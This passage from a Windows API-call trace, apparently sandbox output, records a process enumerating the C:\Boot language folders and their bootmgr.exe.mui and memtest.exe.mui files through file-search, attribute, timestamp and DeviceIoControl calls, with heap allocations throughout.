RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.788] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.788] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983e80 [0138.788] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e840 [0138.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.788] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.788] GetLastError () returned 0x12 [0138.788] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.788] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.788] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.788] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.788] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.788] GetLastError () returned 0x12 [0138.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.788] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.788] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0138.788] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.788] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.789] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.789] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.789] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.789] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.789] NtClose (Handle=0x194) returned 0x0 [0138.789] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.790] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.790] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.790] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983ea0 [0138.790] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0138.790] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.790] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.790] GetLastError () returned 0x12 [0138.790] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.790] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.790] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.790] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.790] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.791] GetLastError () returned 0x12 [0138.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.791] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.791] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0138.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.791] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.791] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.791] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.791] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.791] NtClose (Handle=0x15c) returned 0x0 [0138.791] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.791] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.791] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.792] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983ec0 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f610 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.792] GetLastError () returned 0x12 [0138.792] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.792] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.792] GetLastError () returned 0x12 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.792] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.792] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.792] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0138.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.792] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.793] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.793] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.793] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.793] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.793] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.794] NtClose (Handle=0x194) returned 0x0 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.794] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.794] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.794] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983ee0 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f698 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983f00 [0138.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f720 [0138.794] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.794] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0138.794] GetLastError () returned 0x12 [0138.794] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.795] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.795] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 